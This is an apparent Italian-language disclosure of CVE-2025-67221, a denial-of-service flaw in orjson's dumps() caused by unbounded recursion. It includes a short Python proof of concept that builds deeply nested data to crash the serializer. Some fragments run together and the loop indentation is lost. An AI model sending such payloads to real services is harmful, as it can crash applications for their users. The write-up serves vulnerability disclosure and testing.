
Documentazione e codice di riproduzione per CVE-2025-67221, una vulnerabilità di denial-of-service nella funzione dumps() di orjson causata da ricorsione incontrollata durante la serializzazione di dati JSON profondamente annidati.
| Campo | Valore |
|---|
| CVE ID | CVE-2025-67221 |
| Prodotto interessato | orjson |
| Versioni interessate | ≤ 3.11.4 |
| Tipo di vulnerabilità | Denial of Service (Ricorsione non controllata) |
| Vettore d'attacco | Remoto (se l'attaccante controlla i dati serializzati) |
Esiste una vulnerabilità di denial-of-service nella funzione orjson.dumps() in orjson versioni 3.11.4 e precedenti. La funzione non impone un limite di ricorsione quando serializza strutture dati JSON profondamente annidate. Un attaccante che può indurre un'applicazione a serializzare dati annidati controllati dall'attaccante può provocare un crash nella routine di serializzazione.
orjson.dumps()pysrc/orjson/__init__.pyiTestato su
Le applicazioni che utilizzano orjson per serializzare strutture dati non fidate o controllate dall'attaccante possono essere vulnerabili ad attacchi denial-of-service.
Codice per replicare la vulnerabilità localmente:
import orjson
import sys
import platform
print(f'OS: {platform.platform()}')
print(f'Python version: {sys. version}')
print(f'orjson version: {orjson.__version__}')
nested = []
for i in range(100):
nested = [{"level": i, "next": nested}]
dumped = orjson.dumps(nested)
##Demo
Il codice sopra porta a un bel core dump
